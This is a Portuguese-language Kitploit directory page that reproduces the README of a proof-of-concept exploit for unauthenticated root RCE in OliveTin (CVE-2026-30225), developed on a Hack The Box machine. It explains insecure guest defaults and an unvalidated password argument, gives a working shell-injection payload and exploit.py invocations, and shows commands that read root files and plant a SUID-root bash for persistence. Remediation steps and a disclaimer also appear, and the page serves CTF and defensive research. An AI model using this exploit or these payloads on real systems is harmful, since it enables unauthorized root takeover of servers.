Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-30225-OliveTin-RCE — Prova de conceito de exploit para RCE não autenticado no OliveTin (CVE-2026-30225) por meio de padrões de convidado inseguros e tipos de argumento não validados, permitindo shell de root em instâncias vulneráveis. | Kitploit
Ferramentas/GitHubGitHub/hackerking24/cve-2026-30225-olivetin-rce
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAprendizado e EducaçãoRed Teaming

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHub
hackerking24/cve-2026-30225-olivetin-rce

CVE-2026-30225-OliveTin-RCE

Prova de conceito de exploit para RCE não autenticado no OliveTin (CVE-2026-30225) por meio de padrões de convidado inseguros e tipos de argumento não validados, permitindo shell de root em instâncias vulneráveis.

Ver Repositório
há 1 diaAinda não revisado

OliveTin — execução de ação não autenticada → RCE (+ CVE-2026-30225)

PoC para escalonamento de privilégios / execução remota de código contra instâncias OliveTin que executam com os padrões de convidado fornecidos. Verificado contra OliveTin 3000.10.0 executando como root (HTB: Enigma), onde produz um shell root não autenticado.

⚠️ Somente testes autorizados. Publicado para educação, jogos de CTF e pesquisa defensiva. Usar isto contra sistemas que você não possui ou sem permissão escrita explícita para testar é ilegal. Sem garantias. Consulte LICENSE.

O(s) bug(s)

A. Convidado pode executar ações (padrão inseguro)

A configuração de exemplo / padrão do OliveTin inclui:

root@kitploit:~
authRequireGuestsToLogin: false
defaultPermissions: { view: true, exec: true, logs: true }

Com isto, um chamador não autenticado (WhoAmI → "guest") pode invocar StartActionAndWait e executar qualquer ação. As ações são executadas como o usuário do processo OliveTin — frequentemente root.

B. Tipos de argumento sem validação

internal/executor/arguments.go → TypeSafetyCheck():

root@kitploit:~
case "password":               return nil
case "raw_string_multiline":   return nil
case "checkbox":               return nil

Estes tipos não são validados de forma alguma. Qualquer ação cujo template shell: interpola tal argumento é um ponto de injeção de shell. No Enigma, o /etc/OliveTin/config.yaml ativo contém:

root@kitploit:~
- id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
  arguments:
    - { name: db_user, type: ascii_identifier }
    - { name: db_pass, type: password }        # <-- não validado, fica dentro de -p'...'
    - { name: db_name, type: ascii_identifier }

db_pass = x'; <cmd>; echo __OT_DONE__ # fecha a aspa -p'…', encadeia <cmd>, e # comenta o ' <db_name> > /opt/backups/backup.sql final.

A + B contra um OliveTin root = RCE não autenticado como root.

C. CVE-2026-30225 — queda do contexto de autenticação em RestartAction

RestartAction reconstrói a requisição interna sem carregar os cabeçalhos/cookies de autenticação do chamador, então uma re-execução sempre resolve para o usuário convidado (bypass de ACL quando o convidado é mais privilegiado que o chamador). Corrigido na 3000.11.1.

Em builds ≤ 3000.10.x o handler é adicionalmente meio-implementado (// FIXME) e encaminha um BindingId vazio, então apenas retorna action with ID "" not found e não pode re-executar nada. test-restart relata o que o alvo realmente faz. No Enigma este caminho é um no-op — as questões A + B são o que fornecem execução de código.

Requisitos

  • Python 3.8+ e requests — pip install -r requirements.txt
  • Acesso de rede à API do OliveTin (frequentemente 127.0.0.1:1337; faça túnel/pivot conforme necessário — no Enigma apenas o uid 1000 pode alcançar a porta).

Uso

root@kitploit:~
./exploit.py -u http://127.0.0.1:1337 <modo>

modos:
  check                     identidade, lista de ações, argumentos injetáveis, status CVE-2026-30225
  test-restart              sondar apenas o comportamento do RestartAction
  exploit --action <id> [--set NAME=VALUE ...] [--inject NAME --quote {single,double,none} --cmd '<cmd>']

global:
  --cookie 'olivetin-sid-local=...'   agir como um usuário local autenticado (opcional)

Exemplos

root@kitploit:~
# reconhecimento
./exploit.py -u http://127.0.0.1:1337 check

# HTB Enigma: executar um comando como root
./exploit.py -u http://127.0.0.1:1337 exploit \
    --action backup_database --set db_user=root --set db_name=x \
    --inject db_pass --quote single --cmd 'id; hostname; cat /root/root.txt'

# soltar um bash SUID-root para um shell persistente
./exploit.py -u http://127.0.0.1:1337 exploit \
    --action backup_database --set db_user=root --set db_name=x \
    --inject db_pass --quote single --cmd 'cp /bin/bash /tmp/rb; chmod 4755 /tmp/rb'
#   depois:  /tmp/rb -p

StartActionAndWait retorna o stdout do comando em logEntry.output, então a saída (flag, uid=0(root), …) volta diretamente na resposta.

Contra um alvo genérico

check lista cada ação visível e sinaliza aquelas cujos argumentos usam um tipo sem validação. Escolha uma, descubra como o argumento é citado em sua string shell: (--quote single|double|none), então exploit --inject <arg> --cmd '<payload>'. Ações não exibidas em nenhum painel ainda podem ser executadas por ID (--action <id>).

Remediação

  • Atualize para OliveTin ≥ 3000.11.1.
  • authRequireGuestsToLogin: true e remova exec das permissões de convidado/padrão; dê a cada ACL o mínimo que ela precisa.
  • Nunca execute OliveTin como root; use um usuário dedicado de baixo privilégio (e por ação user: onde suportado).
  • Trate cada argumento de ação como controlado pelo atacante independentemente do type; evite interpolar argumentos em strings shell: — prefira a forma argv exec: e cite/valide rigorosamente.

Referências

  • GHSA-p443-p7w5-2f7f / CVE-2026-30225 — RestartAction do OliveTin executa ações como convidado
  • Documentação ACL / auth local do OliveTin — https://docs.olivetin.app/security/acl.html
  • internal/executor/arguments.go (TypeSafetyCheck), internal/api/api.go (RestartAction, StartAction)

Créditos

Pesquisa & PoC durante a exploração da HTB: Enigma (www-data → haris → OliveTin → root).

Baixar ferramenta